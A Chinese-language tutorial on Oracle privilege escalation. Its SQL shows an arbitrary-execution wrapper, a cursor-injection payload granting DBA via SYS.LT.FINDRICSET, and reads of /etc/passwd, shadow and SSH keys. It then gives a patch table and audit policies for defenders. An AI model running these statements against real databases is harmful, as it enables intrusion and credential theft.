本文僅供安全研究人員、DBA、滲透測試授權人員理解攻擊向量、建立防禦體系之用。未經授權對目標系統實施以下操作屬於違法犯罪行為。所有演示代碼均在隔離測試環境中驗證,嚴禁用於生產環境攻擊。
假設攻擊者已獲得普通用戶 SQL*Plus 連接 (非 DBA),目標:提升至 DBA 權限。
-- 檢查可執行的危險包
SELECT owner, object_name FROM all_objects
WHERE object_type IN ('PACKAGE','PROCEDURE','FUNCTION')
AND owner IN ('SYS','CTXSYS','MDSYS','ORDSYS','LBACSYS','DVSYS')
AND object_name LIKE '%EXPORT%' OR object_name LIKE '%JAVA%' OR object_name LIKE '%FILE%';
-- 關注:DBMS_EXPORT_EXTENSION, DBMS_JAVA, UTL_FILE, UTL_HTTP, DBMS_SQL, LT
-- 1. 創建「任意 SQL 執行」包裝函數 (需 CREATE PROCEDURE 權限)
CREATE OR REPLACE FUNCTION linx_exec (p_sql VARCHAR2) RETURN NUMBER
AUTHID CURRENT_USER -- 關鍵:以調用者權限執行,繞過定義者權限限制
IS
BEGIN
EXECUTE IMMEDIATE p_sql;
RETURN 1;
END;
/
-- 2. 嘗試 Java 提權 (若 JVM 已安裝且授權)
-- CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "LinxUtil" AS ... (省略)
-- 失敗原因:目標環境禁用 Java / 無 CREATE JAVA 權限 / 安全管理器阻擋
-- 1. 嘗試創建目錄對象映射 /etc (需 CREATE ANY DIRECTORY 權限,通常無)
-- CREATE OR REPLACE DIRECTORY UTL_FILE_DIR AS '/etc'; -- 失敗
-- 2. 繞過:利用現有目錄對象 (如 DATA_PUMP_DIR)
SELECT * FROM all_directories; -- 找到可寫目錄
-- 讀取 /etc/passwd (若目錄指向父目錄或有符號鏈接)
-- 通常失敗:目錄權限隔離、無 CREATE ANY DIRECTORY
利用 `DBMS_SQL` 動態游標 + `SYS.LT.FINDRICSET` (或其他有漏洞的 SYS 包) 的 SQL 注入缺陷,在 SYS 權限上下文執行 `GRANT DBA`。
DECLARE
myc NUMBER;
BEGIN
myc := DBMS_SQL.OPEN_CURSOR;
-- 構造注入載荷:自主事務 + GRANT DBA
DBMS_SQL.PARSE(myc,
'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''GRANT DBA TO current_user''; COMMIT; END;',
DBMS_SQL.NATIVE);
-- 觸發漏洞包執行游標 (SYS.LT.FINDRICSET 歷史漏洞,現代版本已修補)
SYS.LT.FINDRICSET('' || DBMS_SQL.EXECUTE(myc) || ''', 'x');
DBMS_SQL.CLOSE_CURSOR(myc);
EXCEPTION WHEN OTHERS THEN NULL;
END;
/
現代防禦狀態: Oracle 10.2.0.5+/11.2.0.3+/12c+ 已修補 `LT.FINDRICSET` 等已知游標注入漏洞。`DBMS_SQL` 現在強制檢查游標所有權,防止跨權限執行。
-- 重新連接驗證
CONN current_user/password
SELECT * FROM session_privs WHERE privilege='DBA'; -- 應返回 DBA
-- 讀取敏感文件 (已有 CREATE ANY DIRECTORY)
CREATE OR REPLACE DIRECTORY ETC_DIR AS '/etc';
-- 使用 UTL_FILE 讀取 passwd, shadow, ssh keys...
| 漏洞點 | 根因 | 影響版本 | 修補方案 |
|---|---|---|---|
| 游標注入 (SYS.LT.* / SYS.DBMS_*) | SYS 包使用 `DBMS_SQL` 動態執行用戶可控游標,未驗證游標來源/權限 | 10gR1/R2, 11gR1 早期 | CPU 补丁修補包代碼;升級至 11.2.0.4/12.1.0.2+ |
| AUTHID CURRENT_USER 函數濫用 | 普通用戶創建函數以調用者權限執行動態 SQL,配合漏洞包繞過定義者權限檢查 | 所有版本 (特性非漏洞) | 嚴格控制 `CREATE PROCEDURE` 權限;審計動態 SQL 執行 |
| UTL_FILE / UTL_HTTP / DBMS_JAVA 文件/網絡訪問 | 包授予操作系統級訪問能力,若 PUBLIC 有執行權限則可濫用 | 所有版本 | 撤銷 PUBLIC 執行權限;`DBMS_JAVA.GRANT_PERMISSION` 精細授權;防火牆隔離 |
| CREATE ANY DIRECTORY / DROP ANY DIRECTORY | 允許映射任意操作系統路徑,導致任意文件讀寫 | 所有版本 | 極嚴格控制,僅 DBA 持有;審計目錄創建 |
-- 統一審計策略 (12c+ Unified Auditing)
CREATE AUDIT POLICY dangerous_actions
ACTIONS CREATE PROCEDURE, CREATE JAVA, CREATE DIRECTORY, GRANT, ALTER USER;
AUDIT POLICY dangerous_actions BY SYS, SYSTEM, DBA_ROLE;
-- 關鍵包執行審計
AUDIT EXECUTE ON SYS.DBMS_SQL BY ACCESS;
AUDIT EXECUTE ON SYS.LT BY ACCESS;
AUDIT EXECUTE ON SYS.UTL_FILE BY ACCESS;
權限提升攻擊鏈的核心在於:**低權限用戶獲得「任意代碼執行」或「任意文件讀寫」原語,再結合內核漏洞/配置缺陷橫向提權**。現代 Oracle 版本 (19c/21c/23c) 通過补丁修補已知游標注入、加強 `DBMS_SQL` 遊標所有權檢查、默認收緊 PUBLIC 權限、引入統一審計、支援 PDB 鎖定模式等,**顯著提高了攻擊門檻**。但**配置不當 (過度授權)、未打补丁、應用層 SQL 注入**仍是主要風險來源。防禦核心:**最小權限 + 及時補丁 + 全審計 + 網絡隔離 + 定期實戰演練**。